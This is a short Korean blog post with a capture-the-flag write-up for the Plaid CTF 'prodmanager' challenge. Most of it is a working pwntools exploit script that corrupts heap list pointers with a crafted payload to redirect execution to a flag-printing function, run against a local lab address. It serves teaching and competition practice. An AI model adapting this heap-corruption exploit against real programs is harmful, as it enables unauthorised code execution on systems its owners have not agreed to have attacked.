-
Plaid CTF prodmanagerCTF 2017. 1. 7. 00:21
list ptr 로 읽을수있고, create -> add -> profile로 풀수있다.
우선 플래그를 읽어주는 함수가 있어서, 그게 우리가 주소를 아는 ptr로되기 때문에 그 ptr로 돌려서 풀수있음
from pwn import * p = remote("10.211.55.3",11111) def create(name,price): print p.recvuntil("Input: ") p.sendline("1") print p.recvuntil("name: ") p.sendline(name) print p.recvuntil("price: ") p.sendline(str(price)) def delete(name): print p.recvuntil("Input: ") p.sendline("2") print p.recvuntil("remove: ") p.sendline(name) def add(name): print p.recvuntil("Input: ") p.sendline("3") print p.recvuntil("add: ") p.sendline(name) def list(): print p.recvuntil("Input: ") p.sendline("4") def profile(data): print p.recvuntil("Input: ") p.sendline("5") print p.recvuntil("profile!") p.sendline(data) ptr = 0x804C1C0 data = 0x804C3E0 list1 = "A"*40 list2 = "B"*40 list3 = "C"*40 list4 = "D"*40 list5 = "E"*40 list6 = "F"*40 create(list1,10) create(list2,20) create(list3,30) create(list4,40) create(list5,50) create(list6,60) add(list1) add(list2) add(list3) add(list4) add(list5) add(list6) delete(list5) payload = '' payload += p32(8) payload += p32(0x51) payload += p32(0x50) payload += p32(ptr) payload += p32(data-24)*2 profile(payload) list() list() p.interactive()
'CTF' 카테고리의 다른 글
H3X0R CTF ezheap (1) 2017.01.08 H3X0R CTF Be rich (0) 2017.01.08 [BoB CTF] casino (0) 2017.01.04 [BoB CTF] megabox (0) 2017.01.04 [christmas ctf 2016] who is solo 문제풀이 (0) 2016.12.25